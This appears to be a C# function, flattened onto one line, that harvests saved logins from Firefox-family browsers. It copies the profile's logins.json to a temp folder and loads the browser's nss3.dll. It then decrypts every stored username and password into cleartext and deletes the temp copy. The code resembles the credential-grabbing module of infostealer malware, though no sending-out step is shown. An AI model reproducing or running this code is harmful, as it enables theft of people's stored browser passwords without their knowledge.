// Get passwords from gecko browser public static List <Password> Get(string BrowserDir) { List <Password> pPasswords = new List <Password>(); // Get firefox default profile directory string profile = Profile.GetProfile(BrowserDir); if (profile == null) { return(pPasswords); } // Get firefox nss3.dll location string Nss3Dir = Profile.GetMozillaPath(); if (Nss3Dir == null) { return(pPasswords); } // Copy required files to temp dir string newProfile = CopyRequiredFiles(profile); if (newProfile == null) { return(pPasswords); } // Read accounts from file string db_location = Path.Combine(newProfile, "logins.json"); string JSON_STRING = File.ReadAllText(db_location); // Parse Json string var json = new Json(JSON_STRING); json.Remove(new string[] { ",\"logins\":\\[", ",\"potentiallyVulnerablePasswords\"" }); string[] accounts = json.SplitData(); // Enumerate accounts if (Decryptor.LoadNSS(Nss3Dir)) { if (!Decryptor.SetProfile(newProfile)) { Console.WriteLine("Failed to set profile!"); } foreach (string account in accounts) { Password pPassword = new Password(); var json_account = new Json(account); string hostname = json_account.GetValue("hostname"), username = json_account.GetValue("encryptedUsername"), password = json_account.GetValue("encryptedPassword"); if (!string.IsNullOrEmpty(password)) { pPassword.sUrl = hostname; pPassword.sUsername = Decryptor.DecryptPassword(username); pPassword.sPassword = Decryptor.DecryptPassword(password); pPasswords.Add(pPassword); } } Decryptor.UnLoadNSS(); } Directory.Delete(newProfile, recursive: true); return(pPasswords); }